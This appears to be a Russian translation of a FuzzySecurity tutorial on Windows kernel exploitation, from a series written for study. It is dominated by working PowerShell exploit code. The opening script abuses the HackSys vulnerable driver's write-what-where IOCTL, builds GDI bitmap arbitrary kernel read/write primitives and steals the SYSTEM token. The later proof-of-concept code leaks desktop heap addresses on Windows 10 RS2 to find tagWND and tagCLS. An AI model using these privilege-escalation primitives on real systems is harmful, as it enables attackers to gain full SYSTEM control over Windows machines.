    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);

    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr VirtualAlloc(
        IntPtr lpAddress,
        uint dwSize,
        UInt32 flAllocationType,
        UInt32 flProtect);

    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern bool VirtualFree(
        IntPtr lpAddress,
        uint dwSize,
        uint dwFreeType);

    [DllImport("kernel32", SetLastError=true, CharSet = CharSet.Ansi)]
    public static extern IntPtr LoadLibrary(
        string lpFileName);
 
    [DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
    public static extern IntPtr GetProcAddress(
        IntPtr hModule,
        string procName);

    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern bool FreeLibrary(
        IntPtr hModule);

    [DllImport("gdi32.dll")]
    public static extern IntPtr CreateBitmap(
        int nWidth,
        int nHeight,
        uint cPlanes,
        uint cBitsPerPel,
        IntPtr lpvBits);

    [DllImport("gdi32.dll")]
    public static extern int SetBitmapBits(
        IntPtr hbmp,
        uint cBytes,
        byte[] lpBits);

    [DllImport("gdi32.dll")]
    public static extern int GetBitmapBits(
        IntPtr hbmp,
        int cbBuffer,
        IntPtr lpvBits);
}
"@

#==============================================[PEB]

# Flag architecture $x32Architecture/!$x32Architecture
if ([System.IntPtr]::Size -eq 4) {
    echo "`n[>] Target is 32-bit!"
    $x32Architecture = 1
} else {
    echo "`n[>] Target is 64-bit!"
}
# Current Proc handle
$ProcHandle = (Get-Process -Id ([System.Diagnostics.Process]::GetCurrentProcess().Id)).Handle
# Process Basic Information
$PROCESS_BASIC_INFORMATION = New-Object _PROCESS_BASIC_INFORMATION
$PROCESS_BASIC_INFORMATION_Size = [System.Runtime.InteropServices.Marshal]::SizeOf($PROCESS_BASIC_INFORMATION)
$returnLength = New-Object Int
$CallResult = [EVD]::NtQueryInformationProcess($ProcHandle, 0, [ref]$PROCESS_BASIC_INFORMATION, $PROCESS_BASIC_INFORMATION_Size, [ref]$returnLength)
# PID & PEB address
echo "`n[?] PID $($PROCESS_BASIC_INFORMATION.UniqueProcessId)"
if ($x32Architecture) {
    echo "[+] PebBaseAddress: 0x$("{0:X8}" -f $PROCESS_BASIC_INFORMATION.PebBaseAddress.ToInt32())"
} else {
    echo "[+] PebBaseAddress: 0x$("{0:X16}" -f $PROCESS_BASIC_INFORMATION.PebBaseAddress.ToInt64())"
}
# Lazy PEB parsing
$_PEB = New-Object _PEB
$_PEB = $_PEB.GetType()
$BufferOffset = $PROCESS_BASIC_INFORMATION.PebBaseAddress.ToInt64()
$NewIntPtr = New-Object System.Intptr -ArgumentList $BufferOffset
$PEBFlags = [system.runtime.interopservices.marshal]::PtrToStructure($NewIntPtr, [type]$_PEB)
# GdiSharedHandleTable
if ($x32Architecture) {
    echo "[+] GdiSharedHandleTable: 0x$("{0:X8}" -f $PEBFlags.GdiSharedHandleTable32.ToInt32())"
} else {
    echo "[+] GdiSharedHandleTable: 0x$("{0:X16}" -f $PEBFlags.GdiSharedHandleTable64.ToInt64())"
}
# _GDI_CELL size
$_GDI_CELL = New-Object _GDI_CELL
$_GDI_CELL_Size = [System.Runtime.InteropServices.Marshal]::SizeOf($_GDI_CELL)

#==============================================[/PEB]

#==============================================[Bitmap]

echo "`n[>] Creating Bitmaps.."

# Manager Bitmap
[IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(0x64*0x64*4)
$ManagerBitmap = [EVD]::CreateBitmap(0x64, 0x64, 1, 32, $Buffer)
echo "[+] Manager BitMap handle: 0x$("{0:X}" -f [int]$ManagerBitmap)"
if ($x32Architecture) {
    $HandleTableEntry = $PEBFlags.GdiSharedHandleTable32.ToInt32() + ($($ManagerBitmap -band 0xffff)*$_GDI_CELL_Size)
    echo "[+] HandleTableEntry: 0x$("{0:X}" -f [UInt32]$HandleTableEntry)"
    $ManagerKernelObj = [System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)
    echo "[+] Bitmap Kernel address: 0x$("{0:X8}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)))"
    $ManagerpvScan0 = $([System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)) + 0x30
    echo "[+] Manager pvScan0 pointer: 0x$("{0:X8}" -f $($([System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)) + 0x30))"
} else {
    $HandleTableEntry = $PEBFlags.GdiSharedHandleTable64.ToInt64() + ($($ManagerBitmap -band 0xffff)*$_GDI_CELL_Size)
    echo "[+] HandleTableEntry: 0x$("{0:X}" -f [UInt64]$HandleTableEntry)"
    $ManagerKernelObj = [System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)
    echo "[+] Bitmap Kernel address: 0x$("{0:X16}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)))"
    $ManagerpvScan0 = $([System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)) + 0x50
    echo "[+] Manager pvScan0 pointer: 0x$("{0:X16}" -f $($([System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)) + 0x50))"
}

# Worker Bitmap
[IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(0x64*0x64*4)
$WorkerBitmap = [EVD]::CreateBitmap(0x64, 0x64, 1, 32, $Buffer)
echo "[+] Worker BitMap handle: 0x$("{0:X}" -f [int]$WorkerBitmap)"
if ($x32Architecture) {
    $HandleTableEntry = $PEBFlags.GdiSharedHandleTable32.ToInt32() + ($($WorkerBitmap -band 0xffff)*$_GDI_CELL_Size)
    echo "[+] HandleTableEntry: 0x$("{0:X}" -f [UInt32]$HandleTableEntry)"
    $WorkerKernelObj = [System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)
    echo "[+] Bitmap Kernel address: 0x$("{0:X8}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)))"
    $WorkerpvScan0 = $([System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)) + 0x30
    echo "[+] Worker pvScan0 pointer: 0x$("{0:X8}" -f $($([System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)) + 0x30))"
} else {
    $HandleTableEntry = $PEBFlags.GdiSharedHandleTable64.ToInt64() + ($($WorkerBitmap -band 0xffff)*$_GDI_CELL_Size)
    echo "[+] HandleTableEntry: 0x$("{0:X}" -f [UInt64]$HandleTableEntry)"
    $WorkerKernelObj = [System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)
    echo "[+] Bitmap Kernel address: 0x$("{0:X16}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)))"
    $WorkerpvScan0 = $([System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)) + 0x50
    echo "[+] Worker pvScan0 pointer: 0x$("{0:X16}" -f $($([System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)) + 0x50))"
}

#==============================================[/Bitmap]

#==============================================[GDI ring0 primitive]

$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)

if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}

# [IntPtr]$WriteWhatPtr->$WriteWhat + $WriteWhere
#---
[IntPtr]$WriteWhatPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.BitConverter]::GetBytes($WorkerpvScan0).Length)
[System.Runtime.InteropServices.Marshal]::Copy([System.BitConverter]::GetBytes($WorkerpvScan0), 0, $WriteWhatPtr, [System.BitConverter]::GetBytes($WorkerpvScan0).Length)
if ($x32Architecture) {
    [byte[]]$Buffer = [System.BitConverter]::GetBytes($WriteWhatPtr.ToInt32()) + [System.BitConverter]::GetBytes($ManagerpvScan0)
} else {
    [byte[]]$Buffer = [System.BitConverter]::GetBytes($WriteWhatPtr.ToInt64()) + [System.BitConverter]::GetBytes($ManagerpvScan0)
}
echo "`n[>] Sending buffer.."
echo "[+] Buffer length: $($Buffer.Length)"
echo "[+] IOCTL: 0x22200B"
[EVD]::DeviceIoControl($hDevice, 0x22200B, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null

#==============================================[/GDI ring0 primitive]

#==============================================[Leak loaded module base addresses]

[int]$BuffPtr_Size = 0
while ($true) {
    [IntPtr]$BuffPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($BuffPtr_Size)
    $SystemInformationLength = New-Object Int

    # SystemModuleInformation Class = 11
    $CallResult = [EVD]::NtQuerySystemInformation(11, $BuffPtr, $BuffPtr_Size, [ref]$SystemInformationLength)
 
    # STATUS_INFO_LENGTH_MISMATCH
    if ($CallResult -eq 0xC0000004) {
        [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
        [int]$BuffPtr_Size = [System.Math]::Max($BuffPtr_Size,$SystemInformationLength)
    }
    # STATUS_SUCCESS
    elseif ($CallResult -eq 0x00000000) {
        break
    }
    # Probably: 0xC0000005 -> STATUS_ACCESS_VIOLATION
    else {
        [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
        echo "[!] Error, NTSTATUS Value: $('{0:X}' -f ($CallResult))`n"
        return
    }
}

$SYSTEM_MODULE_INFORMATION = New-Object SYSTEM_MODULE_INFORMATION
$SYSTEM_MODULE_INFORMATION = $SYSTEM_MODULE_INFORMATION.GetType()
if ([System.IntPtr]::Size -eq 4) {
    $SYSTEM_MODULE_INFORMATION_Size = 284
} else {
    $SYSTEM_MODULE_INFORMATION_Size = 296
}

$BuffOffset = $BuffPtr.ToInt64()
$HandleCount = [System.Runtime.InteropServices.Marshal]::ReadInt32($BuffOffset)
$BuffOffset = $BuffOffset + [System.IntPtr]::Size

$SystemModuleArray = @()
for ($i=0; $i -lt $HandleCount; $i++){
    $SystemPointer = New-Object System.Intptr -ArgumentList $BuffOffset
    $Cast = [system.runtime.interopservices.marshal]::PtrToStructure($SystemPointer,[type]$SYSTEM_MODULE_INFORMATION)
 
    $HashTable = @{
        ImageName = $Cast.ImageName
        ImageBase = if ([System.IntPtr]::Size -eq 4) {$($Cast.ImageBase).ToInt32()} else {$($Cast.ImageBase).ToInt64()}
        ImageSize = "0x$('{0:X}' -f $Cast.ImageSize)"
    }
 
    $Object = New-Object PSObject -Property $HashTable
    $SystemModuleArray += $Object

    $BuffOffset = $BuffOffset + $SYSTEM_MODULE_INFORMATION_Size
}

# Free SystemModuleInformation array
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)

#==============================================[/Leak loaded module base addresses]

#==============================================[Duplicate SYSTEM token]

# _EPROCESS UniqueProcessId/Token/ActiveProcessLinks offsets based on OS
# WARNING offsets are invalid for Pre-RTM images!
$OSVersion = [Version](Get-WmiObject Win32_OperatingSystem).Version
$OSMajorMinor = "$($OSVersion.Major).$($OSVersion.Minor)"
switch ($OSMajorMinor)
{
    '10.0' # Win10 / 2k16
    {
        if(!$x32Architecture){
            $UniqueProcessIdOffset = 0x2e8
            $TokenOffset = 0x358    
            $ActiveProcessLinks = 0x2f0
        } else {
            $UniqueProcessIdOffset = 0xb4
            $TokenOffset = 0xf4    
            $ActiveProcessLinks = 0xb8
        }
    }

    '6.3' # Win8.1 / 2k12R2
    {
        if(!$x32Architecture){
            $UniqueProcessIdOffset = 0x2e0
            $TokenOffset = 0x348    
            $ActiveProcessLinks = 0x2e8
        } else {
            $UniqueProcessIdOffset = 0xb4
            $TokenOffset = 0xec    
            $ActiveProcessLinks = 0xb8
        }
    }

    '6.2' # Win8 / 2k12
    {
        if(!$x32Architecture){
            $UniqueProcessIdOffset = 0x2e0
            $TokenOffset = 0x348    
            $ActiveProcessLinks = 0x2e8
        } else {
            $UniqueProcessIdOffset = 0xb4
            $TokenOffset = 0xec    
            $ActiveProcessLinks = 0xb8
        }
    }

    '6.1' # Win7 / 2k8R2
    {
        if(!$x32Architecture){
            $UniqueProcessIdOffset = 0x180
            $TokenOffset = 0x208    
            $ActiveProcessLinks = 0x188
        } else {
            $UniqueProcessIdOffset = 0xb4
            $TokenOffset = 0xf8    
            $ActiveProcessLinks = 0xb8
        }
    }
}

# Arbitrary Kernel read
function Bitmap-Read {
    param ($Address)
    $CallResult = [EVD]::SetBitmapBits($ManagerBitmap, [System.IntPtr]::Size, [System.BitConverter]::GetBytes($Address))
    [IntPtr]$Pointer = [EVD]::VirtualAlloc([System.IntPtr]::Zero, [System.IntPtr]::Size, 0x3000, 0x40)
    $CallResult = [EVD]::GetBitmapBits($WorkerBitmap, [System.IntPtr]::Size, $Pointer)
    if ($x32Architecture){
        [System.Runtime.InteropServices.Marshal]::ReadInt32($Pointer)
    } else {
        [System.Runtime.InteropServices.Marshal]::ReadInt64($Pointer)
    }
    $CallResult = [EVD]::VirtualFree($Pointer, [System.IntPtr]::Size, 0x8000)
}

# Arbitrary Kernel write
function Bitmap-Write {
    param ($Address, $Value)
    $CallResult = [EVD]::SetBitmapBits($ManagerBitmap, [System.IntPtr]::Size, [System.BitConverter]::GetBytes($Address))
    $CallResult = [EVD]::SetBitmapBits($WorkerBitmap, [System.IntPtr]::Size, [System.BitConverter]::GetBytes($Value))
}

# Get EPROCESS entry for System process
echo "`n[>] Leaking SYSTEM _EPROCESS.."
$KernelBase = $SystemModuleArray[0].ImageBase
$KernelType = ($SystemModuleArray[0].ImageName -split "\\")[-1]
$KernelHanle = [EVD]::LoadLibrary("$KernelType")
$PsInitialSystemProcess = [EVD]::GetProcAddress($KernelHanle, "PsInitialSystemProcess")
$SysEprocessPtr = if (!$x32Architecture) {$PsInitialSystemProcess.ToInt64() - $KernelHanle + $KernelBase} else {$PsInitialSystemProcess.ToInt32() - $KernelHanle + $KernelBase}
$CallResult = [EVD]::FreeLibrary($KernelHanle)
echo "[+] _EPORCESS list entry: 0x$("{0:X}" -f $SysEprocessPtr)"
$SysEPROCESS = Bitmap-Read -Address $SysEprocessPtr
echo "[+] SYSTEM _EPORCESS address: 0x$("{0:X}" -f $(Bitmap-Read -Address $SysEprocessPtr))"
echo "[+] PID: $(Bitmap-Read -Address $($SysEPROCESS+$UniqueProcessIdOffset))"
echo "[+] SYSTEM Token: 0x$("{0:X}" -f $(Bitmap-Read -Address $($SysEPROCESS+$TokenOffset)))"
$SysToken = Bitmap-Read -Address $($SysEPROCESS+$TokenOffset)

# Get EPROCESS entry for current process
echo "`n[>] Leaking current _EPROCESS.."
echo "[+] Traversing ActiveProcessLinks list"
$NextProcess = $(Bitmap-Read -Address $($SysEPROCESS+$ActiveProcessLinks)) - $UniqueProcessIdOffset - [System.IntPtr]::Size
while($true) {
    $NextPID = Bitmap-Read -Address $($NextProcess+$UniqueProcessIdOffset)
    if ($NextPID -eq $PID) {
        echo "[+] PowerShell _EPORCESS address: 0x$("{0:X}" -f $NextProcess)"
        echo "[+] PID: $NextPID"
        echo "[+] PowerShell Token: 0x$("{0:X}" -f $(Bitmap-Read -Address $($NextProcess+$TokenOffset)))"
        $PoShTokenAddr = $NextProcess+$TokenOffset
        break
    }
    $NextProcess = $(Bitmap-Read -Address $($NextProcess+$ActiveProcessLinks)) - $UniqueProcessIdOffset - [System.IntPtr]::Size
}

# Duplicate token!
echo "`n[!] Duplicating SYSTEM token!`n"
Bitmap-Write -Address $PoShTokenAddr -Value $SysToken

#==============================================[/Duplicate SYSTEM token]

13.png


14.png
 
Часть 18: Эксплуатация Ядра -> RS2 Bitmap Necromancy

Holla и добро пожаловать в очередной выпуск серии по эксплуатации ядра Windows! Со времени моего последнего поста прошло некоторое время из-за нехватки свободного времени, однако я выкладывал большое количество кода в своем репозитории PSKernel-Primitives(https://github.com/FuzzySecurity/PSKernel-Primitives), поэтому, пожалуйста, следите за этим, если вы заинтересованы в PowerShell Kernel pwning.

Сегодня мы рассмотрим наше любимый растровый примитив ядра на Windows 10 RS2. Мы пропускаем RS1, поскольку я написал пост в блоге для @mwrlabs, в котором подробно рассказывается, как обойти новые меры по безопасности, представленные в юбилейном выпуске Windows здесь (https://labs.mwrinfosecurity.com/blog/a-tale-of-bitmaps/).

Мы пройдем через два различных метода, чтобы произошла утечка объектов Window из кучи рабочего стола, а затем, используя эти объекты, произошла утечка битмапов. Я настоятельно рекомендую вам обратиться к ресурсам ниже для получения дополнительной справочной информации. Во всяком случае, достаточно Jibber Jabber. Давайте приступим к делу!

Ресурсы
+ Win32k Dark Composition: Attacking the Shadow part of Graphic subsystem (Peng Qui & SheFang Zhong => 360Vulcan) - here
+ LPE vulnerabilities exploitation on Windows 10 Anniversary Update (Drozdov Yurii & Drozdova Liudmila) - here
+ Morten Schenk's tweet revealing the first technique :D (@Blomster81) - here
+ Abusing GDI for ring0 exploit primitives: reloaded (@NicoEconomou & Diego Juarez) - here
+ A Tale Of Bitmaps: Leaking GDI Objects Post Windows 10 Anniversary Edition (@FuzzySec) - here
+ PSKernel-Primitives (@FuzzySec) - here
+ Windows RS2 HmValidateHandle Write-What-Where (@FuzzySec) — here

Plugging leaks

Было бы неплохо кратко перечислить меры безопасности, которые Microsoft реализовала для предотвращения утечек растрового изображения, и способы их устранения для каждой итерации. Основные версии сборки используются ниже для справки.

Windows 10 v1511

- Никаких защитных мер на данный момент.
- Для утечки мы взяли дескриптор GdiSharedHandleTable из PEB, выполнили поиск, чтобы найти правильную структуру GDI_CELL, а затем прочитали указатель pKernelAddress, который раскрыл адрес ядра битовой карты SURFOBJ. Пример кода можно найти здесь (https://github.com/FuzzySecurity/PSKernel-Primitives/blob/master/Stage-BitmapReadWrite.ps1).

Windows 10 RS1 v1607

- Microsoft обнулила указатель pKernelAddress в структуре GDI_CELL, уничтожив старую утечку данных.
- Было обнаружено, что некоторые объекты, расположенные в том же пуле, что и наш желанный битмап (в выгружаемом пуле), подвержены утечке. Это было достигнуто путем получения адреса gSharedInfo (глобальной переменной) из библиотекуиuser32, считывания адреса массива HANDLEENTRY aheList, поиска правильной записи массива и, наконец, считывания элемента phead для получения адреса ядра объекта. Хотя мы не могли получить адрес нашего растрового изображения напрямую, было возможно создать/сделать утечку объектов большого размера (гарантируя, что они окажутся в большом пуле с низкой энтропией), а затем выполнить атаку в стиле UAF, где исходный объект был свободен и растровое изображение размещено на своем месте. Пример кода можно найти здесь (https://github.com/FuzzySecurity/PSKernel-Primitives/blob/master/Stage-gSharedInfoBitmap.ps1).

Windows 10 RS2 v1703

- Разве вы не знаете, Microsoft обнулила указатель phead, убивающий утечку.
- В этом посте мы обсудим, как мы можем использовать отображенную пользователем кучу рабочего стола для утечки объектов Windows и, подобно тому, что мы делали ранее, выполнить атаку в стиле UAF для восстановления нашего растрового примитива!

1.jpg


Leak 1 => TEB.Win32ClientInfo

Первое, что мы хотим сделать - это сделать так чтобы произошла утечка адреса ядра для структур окна tagWND и tagCLS.
Мы начнем с утечки Мортена (
), так как она обеспечивает лучшее представление для понимания второй утечки.

Приведенный ниже твит дает нам все детали, которые нам нужны, чтобы сделать утечку в адресе кучи рабочего стола, отображаемой пользователем, и как рассчитать смещение от версии в режиме пользователя до версии в режиме ядра (ulClientDelta).

2.jpg


Похоже, что указатель на версию в пользовательском режиме хранится в TEB.Win32ClientInfo + 0x28, а указатель на версию в режиме ядра хранится еще в по сещению 0x28 от этого адреса. Дельта смещение клиента в свою очередь - это просто адрес ядра за вычетом адреса пользователя. Мы можем легко написать что-нибудь в PowerShell, который получит эти данные для нас.

Код:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;

[StructLayout(LayoutKind.Sequential)]
public struct _THREAD_BASIC_INFORMATION
{
    public IntPtr ExitStatus;
    public IntPtr TebBaseAddress;
    public IntPtr ClientId;
    public IntPtr AffinityMask;
    public IntPtr Priority;
    public IntPtr BasePriority;
}

public static class TEB
{
    [DllImport("ntdll.dll")]
    public static extern int NtQueryInformationThread(
        IntPtr hThread,
        int ThreadInfoClass,
        ref _THREAD_BASIC_INFORMATION ThreadInfo,
        int ThreadInfoLength,
        ref int ReturnLength);

    [DllImport("kernel32.dll")]
    public static extern IntPtr GetCurrentThread();
}
"@

# Pseudo handle => -2
$CurrentHandle = [TEB]::GetCurrentThread()

# ThreadBasicInformation
$THREAD_BASIC_INFORMATION = New-Object _THREAD_BASIC_INFORMATION
$THREAD_BASIC_INFORMATION_SIZE = [System.Runtime.InteropServices.Marshal]::SizeOf($THREAD_BASIC_INFORMATION)

$RetLen = New-Object Int
$CallResult = [TEB]::NtQueryInformationThread($CurrentHandle,0,[ref]$THREAD_BASIC_INFORMATION,$THREAD_BASIC_INFORMATION_SIZE,[ref]$RetLen)

$TEBBase = $THREAD_BASIC_INFORMATION.TebBaseAddress
$TEB_Win32ClientInfo = [Int64]$TEBBase+0x800
$TEB_UserKernelDesktopHeap = [System.Runtime.InteropServices.Marshal]::ReadInt64([Int64]$TEBBase+0x828)
$TEB_KernelDesktopHeap = [System.Runtime.InteropServices.Marshal]::ReadInt64($TEB_UserKernelDesktopHeap+0x28)

echo "`n[+] _TEB.Win32ClientInfo:     $('{0:X16}' -f $TEB_Win32ClientInfo)"
echo "[+] User Mapped Desktop Heap: $('{0:X16}' -f $TEB_UserKernelDesktopHeap)"
echo "[+] Kernel Desktop Heap:      $('{0:X16}' -f $TEB_KernelDesktopHeap)"
echo "[+] ulClientDelta:            $('{0:X16}' -f ($TEB_KernelDesktopHeap-$TEB_UserKernelDesktopHeap))`n"

Запуск нашего POC дает следующий вывод.

3.jpg


Мы можем кратко подтвердить эти значения в отладчике KD.

4.jpg


Анализ кучи рабочего стола выходит за рамки этого поста. Дополнительную информацию вы можете посмотреть здесь (https://blogs.msdn.microsoft.com/ntdebugging/2007/01/04/desktop-heap-overview/).

Сканирование кучи рабочего стола

Круто. Следующим шагом является создание объекта Windows и сканирование кучи рабочего стола, чтобы найти его. Поскольку Microsoft решила (после Windows 8), что людям не нужны символы для tagWND и tagCLS , мы кратко рассмотрим эти структуры в Windows 7.

5.jpg


Как мы видим, первое значение tagWND размером с IntPtr - это дескриптор Window (возвращаемый функцией CreateWindow/Ex). Также обратите внимание, что tagWND-> THRDESKHEAD-> pSelf является указателем на tagWND в ядре, и что мы можем фактически вычислить ulClientDelta, вычитая tagWND ядра из пользовательского tagWND. И последнее, на что следует обратить внимание: структуры tagWND и tagCLS были изменены в Windows 10 RS2. Немного реверсинга показали следующие соответствующие изменения смещения.

x64 Pre RS2 (15063)
+ Window handle => 0x0
+ pSelf => 0x20
+ pcls => 0x98
+ lpszMenuNameOffset => pcls + 0x88

x64 Post RS2 (15063)
+ Window handle => 0x0
+ pSelf => 0x20
+ pcls => 0xa8
+ lpszMenuNameOffset => pcls + 0x90

Найти окно в куче рабочего стола довольно просто. Начиная с базы кучи рабочего стола, мы можем считывать значения размера IntPtr и сравнивать их с определенным дескриптором окна. Как только мы находим совпадение, мы знаем, что у нас есть смещение к началу структуры tagWND. Давайте обновим наш POC и попробуем.


Код:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;

[StructLayout(LayoutKind.Sequential)]
public struct _THREAD_BASIC_INFORMATION
{
    public IntPtr ExitStatus;
    public IntPtr TebBaseAddress;
    public IntPtr ClientId;
    public IntPtr AffinityMask;
    public IntPtr Priority;
    public IntPtr BasePriority;
}

public class DesktopHeapGDI
{
    delegate IntPtr WndProc(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam);

    [System.Runtime.InteropServices.StructLayout(LayoutKind.Sequential,CharSet=CharSet.Unicode)]
    struct WNDCLASS
    {
        public uint style;
        public IntPtr lpfnWndProc;
        public int cbClsExtra;
        public int cbWndExtra;
        public IntPtr hInstance;
        public IntPtr hIcon;
        public IntPtr hCursor;
        public IntPtr hbrBackground;
        [MarshalAs(UnmanagedType.LPWStr)]
        public string lpszMenuName;
        [MarshalAs(UnmanagedType.LPWStr)]
        public string lpszClassName;
    }
 
    [System.Runtime.InteropServices.DllImport("user32.dll", SetLastError = true)]
    static extern System.UInt16 RegisterClassW(
        [System.Runtime.InteropServices.In] ref WNDCLASS lpWndClass
    );

    [System.Runtime.InteropServices.DllImport("user32.dll", SetLastError = true)]
    static extern IntPtr CreateWindowExW(
        UInt32 dwExStyle,
        [MarshalAs(UnmanagedType.LPWStr)]
        string lpClassName,
        [MarshalAs(UnmanagedType.LPWStr)]
        string lpWindowName,
        UInt32 dwStyle,
        Int32 x,
        Int32 y,
        Int32 nWidth,
        Int32 nHeight,
        IntPtr hWndParent,
        IntPtr hMenu,
        IntPtr hInstance,
        IntPtr lpParam
    );

    [System.Runtime.InteropServices.DllImport("user32.dll", SetLastError = true)]
    static extern System.IntPtr DefWindowProcW(
        IntPtr hWnd,
        uint msg,
        IntPtr wParam,
        IntPtr lParam
    );

    [System.Runtime.InteropServices.DllImport("user32.dll", SetLastError = true)]
    static extern bool DestroyWindow(
        IntPtr hWnd
    );

    [DllImport("ntdll.dll")]
    public static extern int NtQueryInformationThread(
        IntPtr hThread,
        int ThreadInfoClass,
        ref _THREAD_BASIC_INFORMATION ThreadInfo,
        int ThreadInfoLength,
        ref int ReturnLength);

    [DllImport("kernel32.dll")]
    public static extern IntPtr GetCurrentThread();

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern void DebugBreak();

    private IntPtr m_hwnd;
    public IntPtr CustomWindow(string class_name, string menu_name)
    {
        m_wnd_proc_delegate = CustomWndProc;

        WNDCLASS wind_class = new WNDCLASS();
        wind_class.lpszClassName = class_name;
        wind_class.lpszMenuName = menu_name;
        wind_class.lpfnWndProc = System.Runtime.InteropServices.Marshal.GetFunctionPointerForDelegate(m_wnd_proc_delegate);

        UInt16 class_atom = RegisterClassW(ref wind_class);
        m_hwnd = CreateWindowExW(
            0,
            class_name,
            String.Empty,
            0,
            0,
            0,
            0,
            0,
            IntPtr.Zero,
            IntPtr.Zero,
            IntPtr.Zero,
            IntPtr.Zero
        );
        return m_hwnd;
    }

    private static IntPtr CustomWndProc(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam)
    {
        return DefWindowProcW(hWnd, msg, wParam, lParam);
    }

    private WndProc m_wnd_proc_delegate;
}
"@


#------------------[Create Window]

# Call nonstatic public method => delegWndProc
$DesktopHeapGDI = New-Object DesktopHeapGDI

# Menu name buffer
$Buff = "A"*0x8F0
$Handle = $DesktopHeapGDI.CustomWindow("TestWindow",$Buff)
#$Handle.ToInt64()
echo "`n[+] Window handle: $Handle"

#------------------[Leak Desktop Heap]

# Pseudo handle => -2
$CurrentHandle = [DesktopHeapGDI]::GetCurrentThread()

# ThreadBasicInformation
$THREAD_BASIC_INFORMATION = New-Object _THREAD_BASIC_INFORMATION
$THREAD_BASIC_INFORMATION_SIZE = [System.Runtime.InteropServices.Marshal]::SizeOf($THREAD_BASIC_INFORMATION)

$RetLen = New-Object Int
$CallResult = [DesktopHeapGDI]::NtQueryInformationThread($CurrentHandle,0,[ref]$THREAD_BASIC_INFORMATION,$THREAD_BASIC_INFORMATION_SIZE,[ref]$RetLen)

$TEBBase = $THREAD_BASIC_INFORMATION.TebBaseAddress
$TEB_Win32ClientInfo = [Int64]$TEBBase+0x800
$TEB_UserKernelDesktopHeap = [System.Runtime.InteropServices.Marshal]::ReadInt64([Int64]$TEBBase+0x828)
$TEB_KernelDesktopHeap = [System.Runtime.InteropServices.Marshal]::ReadInt64($TEB_UserKernelDesktopHeap+0x28)
$ulClientDelta = $TEB_KernelDesktopHeap - $TEB_UserKernelDesktopHeap

echo "`n[+] _TEB.Win32ClientInfo:     $('{0:X16}' -f $TEB_Win32ClientInfo)"
echo "[+] User Mapped Desktop Heap: $('{0:X16}' -f $TEB_UserKernelDesktopHeap)"
echo "[+] Kernel Desktop Heap:      $('{0:X16}' -f $TEB_KernelDesktopHeap)"
echo "[+] ulClientDelta:            $('{0:X16}' -f $ulClientDelta)"

#------------------[Parse User Desktop Heap]

echo "`n[+] Parsing Desktop heap.."
for ($i=0;$i -lt 0xFFFFF;$i=$i+8) {
    $ReadHandle = [System.Runtime.InteropServices.Marshal]::ReadInt64($TEB_UserKernelDesktopHeap + $i)
    if ($ReadHandle -eq $Handle.ToInt64()) {
        echo "[!] w00t, found handle!"
        $UsertagWND = $TEB_UserKernelDesktopHeap + $i
        $KerneltagCLS = [System.Runtime.InteropServices.Marshal]::ReadInt64($UsertagWND + 0xa8)
        break
    }
}

echo "`n[+] User tagWND: $('{0:X16}' -f $($UsertagWND))"
echo "[+] User tagCLS: $('{0:X16}' -f $($KerneltagCLS-$ulClientDelta))"
echo "[+] Kernel tagWND: $('{0:X16}' -f $($UsertagWND+$ulClientDelta))"
echo "[+] Kernel tagCLS: $('{0:X16}' -f $($KerneltagCLS))"
